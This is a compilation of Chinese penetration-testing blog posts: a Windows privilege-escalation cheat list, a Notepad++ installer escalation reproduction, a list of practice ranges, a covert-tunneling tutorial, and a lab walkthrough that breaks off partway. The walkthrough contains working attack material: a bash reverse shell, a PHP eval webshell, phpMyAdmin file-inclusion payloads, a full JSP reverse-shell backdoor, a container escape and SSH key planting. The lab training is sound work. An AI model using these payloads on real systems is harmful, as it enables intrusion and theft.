windows提权方法一览 Windows提权方法：1，SER-TU提权（通过Ser-U管理工具INI配置文件的修改漏洞，当具备配置文件写权限时，植入管理员账户实现权限跨越）2，RADMIN提权（针对4899端口弱口令扫描结果，利用Radmin客户端连接获取系统控制权限）3，PCANYWHRER提权（从Pcanywhere客户端目录获取CIF连接文件，解密其中保存的登录凭证实现越权访问）4，SAM提权（提取系统SAM/SYSTEM缓存文件，通过HASH碰撞破解获取高权限账户密码）5，NC提权（使用NC监听本地端口，配合远程命令调用创建TELNET连接通道，联合特权模块完成提权）6，PR提权（上传免杀版PR程序，调用系统服务注入进程内存空间直接修改账户权限组）7，IIS提权（在IIS 6.0环境中获取配置管理权限，通过应用映射注入添加隐藏管理员账户）8，43958提权（当SER-TU服务具备脚本执行权限时，直接发送43958端口指令触发系统命令执行）9，PERL提权（利用PERL目录下的权限缺陷，通过DIR路径跳转执行NET USER命令创建特权用户）10，内网LCX提权（在目标主机运行LCX监听本地端口，重定向流量至内网3389端口实现隐蔽登录）11，启动提权（当系统启动项目录具备写入权限时，植入预加载脚本实现服务启动阶段权限获取）12，替换服务提权（通过修改系统服务对应的执行文件（如Ser-U主程序），等待服务重启后激活隐藏后门）13，FXP提权（获取FXP传输工具的配置文件后，逆向解析加密字段还原出系统认证密钥）14，输入法提权（利用输入法加载机制缺陷注入恶意模块，该技术在现代系统中已普遍失效）15，360提权（触发系统热键处理流程中的权限验证缺陷，通过特定按键组合调出特权终端）16，VNC提权（当获取VNC服务认证密码后，直接连接5900端口实现系统级控制）17，2003ODAY提权（针对Windows Server 2003等老版本操作系统，使用专用漏洞利用程序获取权限）18，ROOT提权（在获取MSSQL管理员权限后，通过注册表操作植入系统命令执行模块）19，SA密码服务器提权（从网页配置文件（如ASP连接文件）中提取SA账户密码获取数据库控制权)20，FTP溢出提权(用FTP服务处理机制缺陷触发缓冲区溢出，配合端口重定向工具比如lcx完成权限提升）21，烂土豆提权（利用MS16-075（CVE-2016-3225）伪造NTLM认证，劫持SYSTEM令牌。）22、内核提权（利用Windows内核驱动（如clfs.sys、win32k.sys）的内存越界或权限校验缺陷直接获取SYSTEM权限。）23、win缓冲区溢出提权（利用系统服务或驱动程序的缓冲区溢出漏洞（如spoolsv.exe的CVE-2022-21999），上传精心构造的Shellcode触发栈溢出，直接获取SYSTEM权限执行任意命令。）24、mysql UDF提权（当获得MySQL的FILE权限后，将恶意DLL（如lib_mysqludf_sys.dll）写入插件目录，通过CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'创建函数，执行系统命令SELECT sys_eval('net user hacker Pass123 /add')添加管理员。）25、绕UAC（利用受信任的微软白名单程序（如fodhelper.exe、eventvwr.exe）的COM劫持漏洞，修改注册表HKCU\Software\Classes\CLSID键值注入恶意命令，以管理员权限静默启动CMD窗口。）26、CVE，例如#Windows10 CVE-2020-0796 https://www.cnblogs.com/-chenxs/p/12618678.html #Windows7/2008 CVE-2018-8120 https://www.cnblogs.com/-mo-/p/11404598.html #Windows7/8、2008/2012/2016 CVE-2017-0213 https://www.cnblogs.com/-mo-/p/11446144.html #SQL Server、IIS通杀 (针对本地用户的，不能用于域用户) MS16-075(RottenPotato) https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075往期推荐内网渗透，流量转发Linux内网渗透（2w字超详细）AD域内网渗透-三种漏洞利用方式【OSCP】vulnerable_docker，三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式内网渗透必备，microsocks，一个轻量级的socks代理工具【OSCP】 Kioptrix 提权靶机（1-5）全系列教程，Try Harder！绝对干货！DC-2综合渗透，rbash逃逸，git提权，wordpress靶场渗透教程【渗透测试】12种rbash逃逸方式总结红日靶场5，Windows内网渗透，社工提权，多种域内横向移动思路红日靶场3，joomla渗透，海德拉SMB爆破，域内5台主机横向移动教学不用MSF？红日靶场4，从外网到域控，手工干永恒之蓝，教科书级渗透教学ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略SQL注入中各种WAF的绕过方式，狗，盾，神，锁，宝利用MySQL特性，WAF绕过技巧SQL注入绕过某狗的WAF防火墙，这一篇就够了，6k文案超详细大型翻车现场，十种WAF绕过姿势，仅成功一种喜欢长文吗？1w字图文带你了解sqlmap，从0到1，WAF绕过，高级用法一文通透一个永久的渗透知识库

Notepad++ v8.8.1 本地提权复现 测试环境为，windows server 2016 + 渗透工具 CSnotepad++下载地址https://www.lanzouo.com/b621509首先打开kali，正常开启我们的cs服务器本机打开cs创建一个windows可执行程序创建一个监听器选择监听器生成后将木马修改为regsvr32.exe/ 必须而当我们使用此安装程序进行安装的时候，默认需要管理员权限才能安装，需要我们输入密码上线，权限是管理员权限，而我们cmd中显示的是demo普通用户，上线的用户是administrator，而不是系统权限，那么在真实渗透过程中，我们都知道了管理员的密码了，还需要这个notepad++的安装包么，显然不需要。。。下面是官方的复现视频（直接nc反弹shell就是system，可能是因为我太菜了。。。。。）https://drive.google.com/drive/folders/11yeUSWgqHvt4Bz5jO3ilRRfcpQZ6Gvpn​攻击总结攻击方法分为以下几个步骤：准备阶段：攻击者在目标系统当前工作目录中放置一个恶意的regsvr32.exe文件攻击向量：用户运行 Notepad++ v8.8.1 的安装程序。执行阶段：安装程序调用regsvr32时，从当前工作目录加载恶意文件，并以 管理员（administrator） 权限执行，没有复现出system系统权限，这里可能需要用到一个pochttps://github.com/notepad-plus-plus/notepad-plus-plus/security/advisories/GHSA-9vx8-v79m-6m24结果：攻击者获得对系统的超级管理员控制权，可安装程序、修改数据或创建新账户。修复建议1、不要随意下载朋友 / 陌生人给你的exe文件安装包，尽量选择官网或者应用商店下载2、一定要定期清理自己下载的文件3、使用最新版的Notepad++，及时更新软件的版本往期推荐近400个渗透测试常用命令，信息收集、web、内网、隐藏通信、域渗透等等内网渗透，流量转发Linux内网渗透（2w字超详细）AD域内网渗透-三种漏洞利用方式【OSCP】vulnerable_docker，三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式内网渗透必备，microsocks，一个轻量级的socks代理工具【OSCP】 Kioptrix 提权靶机（1-5）全系列教程，Try Harder！绝对干货！DC-2综合渗透，rbash逃逸，git提权，wordpress靶场渗透教程【渗透测试】12种rbash逃逸方式总结红日靶场5，windows内网渗透，社工提权，多种域内横向移动思路红日靶场3，joomla渗透，海德拉SMB爆破，域内5台主机横向移动教学不用MSF？红日靶场4，从外网到域控，手工干永恒之蓝，教科书级渗透教学ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略SQL注入中各种WAF的绕过方式，狗，盾，神，锁，宝利用MySQL特性，WAF绕过技巧SQL注入绕过某狗的WAF防火墙，这一篇就够了，6k文案超详细大型翻车现场，十种WAF绕过姿势，仅成功一种喜欢长文吗？1w字图文带你了解sqlmap，从0到1，WAF绕过，高级用法一文通透

2025最新渗透测试靶场推荐，新手必练的靶场推荐 继上一篇渗透测试中新手必练的15个靶场，这次又新增了十个常用的靶场平台，帮助师傅们在学习渗透测试的路上不迷路，在开始之前呢推荐一个永久的渗透测试知识库，点击下方链接领取领取地址1、cyberstrikelab网址：https://www.cyberstrikelab.com/CyberStrikeLab 是一个专注于网络安全的在线仿真实战平台，由经验丰富的红队人员打造，以实战、系统、便利为特色，其靶机根据多年实战案例搭建，能帮助学习者提升网络安全实战技能。2、hackthebox网址：https://app.hackthebox.com/Hack The Box 是一个国际知名的网络安全渗透测试实战靶场平台，提供在线的渗透测试环境与挑战，帮助网络安全学习者与从业者提升实战技能。3、hackmyvm网址：https://hackmyvm.eu/hackmyvm 是一个国际性的网络安全靶场平台，提供多种虚拟机镜像靶机，用户可使用 VMware 或 VirtualBox 运行，挑战目标是获取操作系统的 root 权限和查看 flag。其靶机涵盖从入门到高阶的难度，适合不同水平的渗透测试爱好者学习与练习。4、Root Me网址：https://www.root-me.org/Root Me 是一个国际知名且免费的在线网络安全学习平台，提供CTF风格的网络安全挑战，涵盖密码学、WEB、脚本、网络、编程等内容的靶场，适合中高级学习者。5、Try Hack Me网址：https://tryhackme.com/Try Hack Me 是一个适合初学者的在线网络安全学习平台，提供结构化的课程、实战靶场和 CTF 挑战，帮助用户提升从基础到高级的网络安全技能。包括windows和Linux的靶场渗透。6、vulfocus网址：https://vulfocus.cn/Vulfocus 是一个漏洞集成平台，将漏洞环境 Docker 镜像放入即可使用，开箱即用，可用于漏洞复现、POC 验证、EXP 验证等，它由白帽汇推出，本质上是一个漏洞靶场。7、vulhub网址：https://github.com/vulhub/vulhubVulhub 是一个开源的漏洞靶场项目，基于 Docker 和 Docker-Compose 技术，提供一系列预构建的漏洞环境，用户可以快速搭建和测试各种漏洞场景，适合中高级学习者进行漏洞复现和研究8、vulnhub网址：https://www.vulnhub.com/和hackmyvm类似，是一个开源漏洞靶场项目，基于 Docker 和 Docker-compose 技术，提供一系列预构建的漏洞环境，用户可快速搭建和测试各种漏洞场景，适合中高级学习者进行漏洞复现和研究。9、XCTF攻防世界网址：https://adworld.xctf.org.cn/XCTF 攻防世界是一个专注于网络安全的在线平台，提供大量高质量的 CTF 题目和实训环境，适合不同水平的学习者提升实战技能。10、XSS小游戏网址：https://xss.haozi.me/#/XSS学习必备的小游戏11、墨者学院网址：https://www.mozhe.cn/墨者学院是一个专业的网络安全在线靶场平台，专注于实战技能培养，适合网络安全学习者提升攻防能力。12、封神台网址：https://hack.zkaq.cn/封神台是掌控安全推出的一个在线攻防演练靶场，专注于网络安全渗透测试演练，适合网络安全学习者和从业者进行实战技能提升13、春秋云镜https://yunjing.ichunqiu.com/春秋云镜是一个专注于实战化的网络安全攻防演练靶场平台，提供了多样化的漏洞环境和场景，以帮助用户提升网络安全技能和攻防实战能力。14、玄机靶场https://xj.edisec.net/玄机靶场是一个专业的网络安全实验平台，提供多样化的攻击场景库和丰富的题库，涵盖渗透测试、应急响应、CTF竞赛等领域，适合不同层次的学习者进行实战训练，提升网络安全技能。15、红日靶场http://vulnstack.qiyuanxuetang.net/vuln/红日靶场是一个由红日安全团队打造的网络安全靶场平台，其特点是提供模拟真实企业内网的环境，涵盖域控、黄金票据等高级内网渗透场景，适合具备一定基础的学习者进行实战训练。靶场通过虚拟机镜像形式提供，需本地部署使用16、CTFhubhttps://www.ctfhub.com/CTFHub 是一个专注于信息安全竞赛的在线学习平台，提供题目练习、赛事跟踪等服务，适合 CTF 爱好者学习和提升技能。17、CTFshowhttps://ctf.show/CTFShow 是一个在线的网络安全学习平台，提供丰富的 CTF 题目和解题思路，适合 CTF 爱好者学习和提升技能。18、AltoroJhttps://demo.testfire.net/AltoroJ 是一个开源的银行应用程序，用于展示 Web 应用安全漏洞，适合网络安全学习者进行安全测试和教育训练。它包含多种漏洞，如 SQL 注入、跨站脚本攻击等，旨在帮助学习者深入了解 Web 应用的安全性问题和防御策略。19、vulnwebhttp://vulnweb.com/Vulnweb 是一个故意设置安全漏洞的 PHP 在线商店示例，用于测试网页漏洞扫描工具和技能，如 SQL 注入、跨站脚本攻击等。它模拟真实的漏洞环境，帮助开发者、安全研究人员和学生学习常见的 Web 应用安全漏洞20、XSS-LABhttps://vuln.longyusec.com/XSS-labs是一个专注于跨站脚本攻击（XSS）学习和测试的开源靶场，提供多种XSS漏洞场景，帮助用户理解XSS攻击原理、掌握防御技巧，并通过实践提升安全意识和技能。21、SQL-LABShttps://vuln.longyusec.com/sql-libs是一个专门用于学习和测试SQL注入的开源平台，它提供了一系列的注入场景和关卡，帮助开发者和安全测试人员深入理解SQL注入的原理和防范方法。通过sql-libs，用户可以实践不同类型的SQL注入攻击，并学习如何编写安全的代码来避免这些漏洞。22、DVWAhttps://vuln.longyusec.com/DVWA是一个用于演示网页应用安全漏洞的开源软件平台，旨在帮助安全专业人士、学生及开发者理解并学习常见安全漏洞。它模拟了多种漏洞场景，如SQL注入、XSS等，提供安全测试环境。新手必练靶场之一。23、upload-labshttps://vuln.longyusec.com/upload-labs是一个使用PHP语言编写的，专门用于渗透测试和CTF中遇到的各种文件上传漏洞的靶场，旨在帮助用户深入了解文件上传漏洞的原理和防范措施。它提供了一系列模拟文件上传漏洞的实验环境，每个关卡都包含着不同的上传方式和挑战。24、mutillidaehttps://vuln.longyusec.com/Mutillidae 是一个免费、开源的 Web 应用程序安全漏洞靶场，由 OWASP 社区支持，包含丰富的渗透测试项目，如 SQL 注入、跨站脚本攻击、文件包含等，旨在帮助学习者理解和发现常见的 Web 应用安全问题。25、JAVA Sec Labhttps://github.com/whgojp/JavaSecLabJavaSecLab 是一款综合型 Java 漏洞平台，提供相关漏洞缺陷代码、修复代码、漏洞场景、审计 SINK 点、安全编码规范，覆盖多种漏洞场景，拥有友好用户交互 UI，适合安全研究人员、开发人员和安全服务人员学习和理解 Java 安全漏洞的生成、修复和审计过程。25、极核靶场https://hackhub.get-shell.com/games一个不错的靶场练习平台感谢师傅能看到这里再送一波福利，师傅们不想要一个一个看，那么我都准备好了，在longyusec.com中点击相关的链接就可以进入相应的靶场啦，如果还有比较热门的靶场没有提交到这，欢迎师傅们投稿往期推荐近400个渗透测试常用命令，信息收集、web、内网、隐藏通信、域渗透等等内网渗透，流量转发Linux内网渗透（2w字超详细）AD域内网渗透-三种漏洞利用方式【OSCP】vulnerable_Docker，三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式内网渗透必备，microsocks，一个轻量级的socks代理工具【OSCP】 Kioptrix 提权靶机（1-5）全系列教程，Try Harder！绝对干货！DC-2综合渗透，rbash逃逸，git提权，wordpress靶场渗透教程【渗透测试】12种rbash逃逸方式总结红日靶场5，windows内网渗透，社工提权，多种域内横向移动思路红日靶场3，joomla渗透，海德拉SMB爆破，域内5台主机横向移动教学不用MSF？红日靶场4，从外网到域控，手工干永恒之蓝，教科书级渗透教学ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略SQL注入中各种WAF的绕过方式，狗，盾，神，锁，宝利用MySQL特性，WAF绕过技巧SQL注入绕过某狗的WAF防火墙，这一篇就够了，6k文案超详细大型翻车现场，十种WAF绕过姿势，仅成功一种喜欢长文吗？1w字图文带你了解sqlmap，从0到1，WAF绕过，高级用法一文通透 

【内网渗透】隐藏通信隧道技术，牢饭直通车 前言最近一直在学如何在渗透测试中隐藏自己的渗透行为，参考了freebuf大佬secur1ty 作者的文章，特意写下了本篇文章隐藏通信隧道技术概述为什么需要？在内网渗透测试中，隐藏通信隧道技术那可是“生存必备技能”。想象一下，内网就像个有超严门禁的小区，各种边界设备和入侵检测装置就是那尽职的保安，啥都想拦。隐藏通信隧道技术就是潜入小区的“秘密通道”，帮我们轻松绕过保安，实现内网和外网间的数据传输。这可是保障渗透测试顺利进行的关键，不然后续的信息收集、漏洞利用啥的都得“凉凉”，这技术学的好，牢饭吃的饱（牢饭也很香）常见隧道网络层：IPV6隧道、ICMP隧道传输层：TCP隧道、UDP隧道、端口转发应用层：SSH隧道、HTTP(S)隧道、DNS隧道接下来将从三种隧道中各选集中进行试验常见隧道分类及工具网络层IPV6 隧道工具：6tunnel（kali自带）目标机：winserver 10，需先开启IPV6并查看地址。攻击机操作：使用6tunnel命令将目标机的80端口（IPV6地址）转发到本机80端口（IPV4地址），实现访问本机80端口即可访问目标机web服务首先我们需要打开目标机器的ipv6（在目标没有开启的情况下）那么我们关闭之后看看区别这里只是看看效果奥，还是需要重新打开的，下面是我的ipv6地址fe80::bc82:bd9c:bf05:15fe%6随后我们在80端口开启一个http服务用于模拟web应用程序python3 -m http.serverkali安装6tunnelapt install 6tunnel之后我们需要先关闭目标机器的防火墙查看我们的kali的网卡名称，与目标的ipv6地址进行拼接，注意区分那个百分号前后内容，这条命令的含义就是将目标机的80端口（目标机使用IPV6地址）转发到本机的80端口尚（本机使用IPV4地址）6tunnel -4 80 fe80::bc82:bd9c:bf05:15fe%eth0 80完整命令如下，转发成功后，访问我们的目标机器以及kaili的80端口，发现显示的结果是一样的，这时候就已经转发成功了ICMP隧道相关学习文章：【内网渗透】ICMP隧道技术，ICMP封装穿透防火墙上线MSF/CS通常来说，两台主机通信时，必须开启特定端口，像SSH用22端口、RDP用3389端口。但要是用上ICMP隧道，那可就省事多了，根本不需要开放其他端口。ICMP隧道简单又实用。在渗透测试里，要是防火墙把HTTP、HTTPS、DNS这些常用协议的数据包都给封了，咱就可以瞅准网管容易忽视的ICMP协议。只要把TCP数据包往ICMP数据包里一装，要是防火墙不对ICMP包拦截，那突破防火墙就成了一件轻松的事。工具1：icmpsh安装：需要先安装python的impacket类库，可以通过apt-get或从github下载源码安装git clone https://gitee.com/WeiyiGeek/icmpshell.git在使用该工具的时候可能会遇到一些错误（kali系统）这个错误，是代码错误，写法不是这样写的，需要修改一下这个run.sh接下来你还会遇到一个错误，那是因为你执行这个py脚本的时候使用的python3，而不是python2，这个工具使用python2写的，所以需要进行修改继续修改这个run.sh，找到这一行由于icmpsh要代替系统本身的ping应答，所以要关闭一下系统的ping应答，否则工具将无法稳定运行sysctl -w net.ipv4.icmp_echo_ignore_all=1随后执行如下命令（建议自行摸索，适合我的不一定适合师傅你们，我搞了一个下午）sudo apt updatesudo apt install python2 -ysudo apt install python2-dev libssl-dev libffi-dev -ycurl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.pysudo python2 get-pip.pypython2 -m pip install --upgrade "pip==20.3"pip2 install "impacket==0.9.24" "pyOpenSSL<=18.0.0" "pyasn1<0.5" "pycryptodomex<=3.4.3"此时就能够正常运行啦，依次输入攻击机IP和受害机IP便会自动输出需要在受害机上的命令（上图的下方绿色框内），命令如下icmpsh.exe -t 192.168.110.128 -d 500 -b 30 -s 128执行上面命令之前需要将icmpsh.exe上传到靶机上（kali：python -m http.server）其次需要配置防火墙出站规则所有端口不允许出网（上不了网，包括内网中tcp也互相访问不了，只能ping通）选择tcp，和所有远程端口阻止连接我们阻止全部的tcp连接，此时也能够正常上线在我们关闭这个tcp的所有端口出站规则后，就怎么也反弹不成功了重新打开防火墙的出站规则页面，我们设置好允许tcp出站，没过一会儿就上线了流量分析结果如下同理使用工具2：pingtunnel，教学如下【内网渗透】ICMP隧道技术，ICMP封装穿透防火墙上线MSF/CS传输层1.端口转发工具：lcx下载地址：http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip首先kali和靶机都执行如下命令# windows靶机lcx.exe -slave 192.168.110.128(攻击机IP) 4444 127.0.0.1 3389​# kali./portmap -m 2 -p1 4444 -h2 192.168.110.128 -p2 5555输入正确的用户名和密码，就会显示这个界面，注意连接的是kali的IP和转发后的端口，以此来验证端口转发成功通过端口转发，连接到windows靶机2、内网代理相关的学习文章：vulnerable_docker，三种代理方法打入内网2025最新教程，使用雷池搭建内网靶场，进行简单的WAF绕过雷池+frp内网穿透，搭建企业级内网防护，无需花高额费用买服务器，教科书级别教学内网渗透必备，microsocks，一个轻量级的socks代理工具应用层1、SSH基本上，所有的 Unix/Linux 主机都支持 SSH 协议，而且大家都能用它来通信。在实际场景里，网管们经常靠 SSH 连接远程管理内网主机，所以边界设备一般不会拦 SSH 流量。再说了，SSH 流量是加密的，普通的入侵检测工具很难发现里面有什么异常。这就让渗透测试人员有了机会，能用 SSH 搭起别的隧道很难搞定的 TCP 通信隧道。SSH常见参数-C 压缩传输-f 后台执行SSH-N 建立静默连接-g 允许远程主机连接本地用于转发的端口-L 本地端口转发-R 远程端口转发-D 动态转发-P 指定SSH端口(1).本地转发实验环境：攻击机无法访问靶机内网，可以访问靶机的web，且已获得web服务器的权限，web服务器和内网服务器能互相访问实验目标：通过本地端口转发，访问攻击机本地的2021端口便可以打开靶机的远程桌面首先在已经连上得kali上执行ssh -CfNg -L 2021:192.168.110.132:3389 kali@192.168.110.128# 132是靶机，128是kali# 解释：这条命令的作用，在攻击机上建立一个本地ssh服务器的ssh隧道# 将本地的2021端口的流量通过这个隧道转发到远程主机192.168.110.132的3389端口# 重点如下：# 这样，当你在本地机器上访问攻击机本地的2021端口时，实际上访问的是远程主机192.168.110.132的3389端口这里输入的是kali的密码，而不是web服务器的密码奥netstat -tulnp | grep "2021" # 进一步验证是否开启了转发功能尝试使用攻击机也就是本机的远程桌面连接kali的7890端口直接连接成功(2).远程转发这节的网络结构可能有所变化，不同的参照物，理解起来也不同，所以特意列出来了（之前攻击机都是kali，靶机是这里的内网服务器，本机是本机）结构如下：kali作为web服务器（模拟公网服务器） 192.168.110.128本机作为攻击机 192.168.110.1内网服务器 192.168.168.132实验环境：攻击机无法访问数据库服务器，也无法访问web服务器但已获得web服务器的权限，web服务器和数据库服务器可以互相访问，web服务器可以访问具有公网IP的攻击机实验目标：通过访问攻击机也就是本机的7890端口来访问对方内网服务器的3389端口在web服务器(kali)上执行ssh -CfNg -R 7890:192.168.110.132:3389 kali@192.168.110.128然而这个时候，本机却连不上了，也就是攻击机器，访问不了kali这个web服务器（却获得了kali的web服务器权限，就可以用-R参数）(3).动态转发，SOCKS搭建关于SOCKS的搭建还可以参考我写的这一篇文章：内网渗透必备，microsocks，一个轻量级的socks代理工具ssh -CfNg -D 6000 kali@192.168.110.128我们打开这个插件，如果没有插件的话可以找我这篇文章自取：【渗透测试】16个实用谷歌浏览器插件分享配置好kali的IP地址和ssh开启的端口点击连接kali代理，此时成功配置代理访问百度或者对方的内网靶机2、HTTP / HTTPS隧道这里介绍一种常用的工具 reGeorg ，使用教学：vulnerable_docker，三种代理方法打入内网3、SOCKS代理常见工具：EarthWorm、SocksCap64、ProxyChains至此感谢师傅们愿意花这点时间看完，谢谢！参考：https://longyusec.com/longyushoulu/52/https://longyusec.com/longyushoulu/46/https://longyusec.com/longyushoulu/331/https://www.freebuf.com/articles/network/275436.html相关的学习文章推荐：内网渗透，流量转发Linux内网渗透（2w字超详细）AD域内网渗透-三种漏洞利用方式【OSCP】vulnerable_docker，三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式内网渗透必备，microsocks，一个轻量级的socks代理工具【OSCP】 Kioptrix 提权靶机（1-5）全系列教程，Try Harder！绝对干货！DC-2综合渗透，rbash逃逸，git提权，wordpress靶场渗透教程【渗透测试】12种rbash逃逸方式总结红日靶场5，windows内网渗透，社工提权，多种域内横向移动思路红日靶场3，joomla渗透，海德拉SMB爆破，域内5台主机横向移动教学不用MSF？红日靶场4，从外网到域控，手工干永恒之蓝，教科书级渗透教学ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略SQL注入中各种WAF的绕过方式，狗，盾，神，锁，宝利用MySQL特性，WAF绕过技巧SQL注入绕过某狗的WAF防火墙，这一篇就够了，6k文案超详细大型翻车现场，十种WAF绕过姿势，仅成功一种喜欢长文吗？1w字图文带你了解sqlmap，从0到1，WAF绕过，高级用法一文通透一个永久的渗透知识库 

不用MSF？红日靶场4，从外网到域控，手工干永恒之蓝，教科书级渗透教学 十年磨一剑！本次靶机呢，也不算存手工注入，就是介绍了不用MSF的打法，文章很长，但是呢能学到的东西很多很多！比如隧道搭建是proxychains+frp,然后Docker逃逸，域控，横向移动，权限提升，写公匙获取交互式shell，永恒之蓝利用等等，网上很多教程都不是最新的，复现起来有点困难，对于Windows渗透不太了解的师傅们可以学习学习，感谢阅读前言最近vulnstack官网进不去了，还好之前保存在自己度盘的，需要自取，一共8个，红日1-8全都在，一共500G左右，下载还请预留好一定的空间通过网盘分享的文件：红日靶场 链接: https://pan.baidu.com/s/1ppyPlm6osobxReI50fCSZw 提取码: uze8 这是红日官网，进不去了都环境配置打开虚拟机后web设置网卡1为nat模式，网卡2为仅主机模式，密码为ubuntusudo Docker start ec 17 09 bb da 3d ab ad sudo Docker ps第二台系统是Windows的，网卡是仅主机模式第三台DC域控仅主机模式网络配置好后，得以登录看看靶机的网络环境ubuntu:ubuntu 10.10.10.131 192.168.183.129 域成员机器win douser:Dotest123 192.168.183.128 DC administrator:Test2008 192.168.183.130网络拓步结构环境配置好后就可以开始渗透了外网打点利用arp-scan进行主机探测对扫描出来的ip进行端口扫描，发现靶机开启了2001、2002、2003端口并且这三个端口都是http服务，也就是说我们能通过网页直接访问到2001端口如下，Struts2服务（可以看网页标题）2002端口如下，这是一个Apache Tomcat服务2003端口，phpmyadmin，一个数据库管理工具Struts2渗透那么一个一个来看吧，利用Struts2漏洞扫描工具执行命令测试利用bash进行反弹Shell，并且shell是root的，但是这是Docker环境/bin/bash -i >& /dev/tcp/10.10.10.130/1234 0>&1在Docker的渗透过程中呢，如果得到了某一个Docker环境远远是不够的，通常需要得到多个Docker环境的权限，来判断当前Docker环境是否能够进行Docker逃逸，这样才能提高渗透成功的概率，接下来是TomcatTomcat渗透Nikto，它是一个开源的网络安全扫描工具，简称漏扫工具nikto -url http://10.10.10.131:2002/发现能够使用PUT方法进行上传文件，可以手动，但是不建议，我们直接用poc打python 42966.py根据使用方法，得到如下命令，成功获取webshellpython 42966.py -u http://10.10.10.131:2002/ -p pwnphpmyadmin渗透切换到主页，这里能看到phpmyadmin的版本号为4.8.1发现此版本的phpmyadmin存在文件包含和远程命令执行漏洞我们利用第一个exp┌──(root㉿kali)-[/data/exp/demo] └─# cat 44924.txt | grep http http://127.0.0.1/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../windows/wininit.ini http://127.0.0.1/phpmyadmin/index.php?a=phpinfo();&target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/hack/hack.frm成功利用文件包含的pochttp://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../etc/passwd文件包含phpmyadmin日志文件首先是日志包含，在日志包含之前我们需要先查看mysql的命令执行日志的路径SHOW VARIABLES LIKE 'general_log_file'; /var/lib/mysql/ad7866b3df9b.log写入日志select "<?php @eval($_GET['123']);?>";包含日志文件，报错了，这个包含方法不行，那么就换一个文件包含http://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../var/lib/mysql/ad7866b3df9b.log?123=lssession文件创建shell我们创建一个数据表写入一句话 <?php @eval($_GET['123']);?>查看session，为3cfb6084f034677df82ef00120cce4fd包含sessionhttp://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_3cfb6084f034677df82ef00120cce4fd执行命令，失败http://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_3cfb6084f034677df82ef00120cce4fd?123=lsshell获取失败Docker逃逸docker信息收集，判断当前环境是否是docker环境，可以看到这个是属于docker环境的ls -alh /.dockerenv cat /proc/1/cgroup特权逃逸如果管理员启动某一个容器的时候呢，利用了docker run -privileged时，docker容器将被允许访问主机上的所有设备，并且可以执行mount命令进行挂载mkdir /tmp/forest mount /dev/sda1 /tmp/forest这里struts2服务逃逸失败了，之前我们不是得到了Tomcat的shell嘛，我们利用这个试试（这俩个是不同的docker环境），这里就能挂载成功了mkdir /tmp/forest mount /dev/sda1 /tmp/forest ls /tmp/forest成功挂载了，那么我们就要获取稳定shell，这个shell不稳定，经过测试python等一系列反弹都不行，那么就切换思路，利用kali自带的反弹Shell的jsp脚本// backdoor.jsp // http://www.security.org.sg/code/jspreverse.html <%@ page import="java.lang.*, java.util.*, java.io.*, java.net.*" %> <%! static class StreamConnector extends Thread { InputStream is; OutputStream os; StreamConnector(InputStream is, OutputStream os) { this.is = is; this.os = os; } public void run() { BufferedReader isr = null; BufferedWriter osw = null; try { isr = new BufferedReader(new InputStreamReader(is)); osw = new BufferedWriter(new OutputStreamWriter(os)); char buffer[] = new char[8192]; int lenRead; while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0) { osw.write(buffer, 0, lenRead); osw.flush(); } } catch (Exception ioe) {} try { if(isr != null) isr.close(); if(osw != null) osw.close(); } catch (Exception ioe) {} } } %> <h1>JSP Backdoor Reverse Shell</h1> <form method="post"> IP Address <input type="text" name="ipaddress" size=30> Port <input type="text" name="port" size=10> <input type="submit" name="Connect" value="Connect"> </form> <p> <hr> <% String ipAddress = request.getParameter("ipaddress"); String ipPort = request.getParameter("port"); if(ipAddress != null && ipPort != null) { Socket sock = null; try { sock = new Socket(ipAddress, (new Integer(ipPort)).intValue()); Runtime rt = Runtime.getRuntime(); Process proc = rt.exec("/bin/bash"); StreamConnector outputConnector = new StreamConnector(proc.getInputStream(), sock.getOutputStream()); StreamConnector inputConnector = new StreamConnector(sock.getInputStream(), proc.getOutputStream()); outputConnector.start(); inputConnector.start(); } catch(Exception e) {} } %> <!-- http://michaeldaw.org 2006 -->在主页随便点一点找到网页上的这个文件find / -name security-howto.html然后将这个webshell下载下来，复制到这个目录下面wget 10.10.10.130:5000/jsp-reverse.jsp cp jsp-reverse.jsp /usr/local/tomcat/webapps/docs/输入ip和端口就可以反弹啦但是呐，创建不了交互式终端呢，有点难受奥，即使创建了，也是docker环境呢python2 -c 'import pty;pty.spawn("/bin/bash")'那么就使用上传公匙的方法免密登录ssh-keygen -t rsa -b 4096 # 回车 # 回车 # 回车靶机依次执行如下命令wget 10.10.10.130:5000/rain.pub chmod 700 /tmp/forest/home/ubuntu/.ssh/ cp rain.pub /tmp/forest/home/ubuntu/.ssh/authorized_keys chmod 600 /tmp/forest/home/ubuntu/.ssh/authorized_keyskali尝试连接（失败）经过测试很多遍了，靶机的/etc/ssh/sshd_config文件也修改了，还是不行ssh ubuntu@10.10.10.131开始排错，这个公匙权限是root，但是呢我们连接的时候使用的是ubuntu用户，而这个.ssh目录也是ubuntu用户的目录，所以连接的时候权限对不上，也会导致使用私匙连接失败但由于我们获取的是docker环境的shell，是没有ubuntu用户的，我们需要添加一个ubuntu用户useradd ubuntu chown ubuntu:ubuntu authorized_keys ls -al total 16 drwx------ 2 ubuntu ubuntu 4096 Feb 15 08:31 . drwxr-xr-x 17 ubuntu ubuntu 4096 Feb 15 08:26 .. -rw------- 1 ubuntu ubuntu 735 Feb 15 08:31 authorized_keys -rw-r----- 1 root root 91 Feb 15 08:05 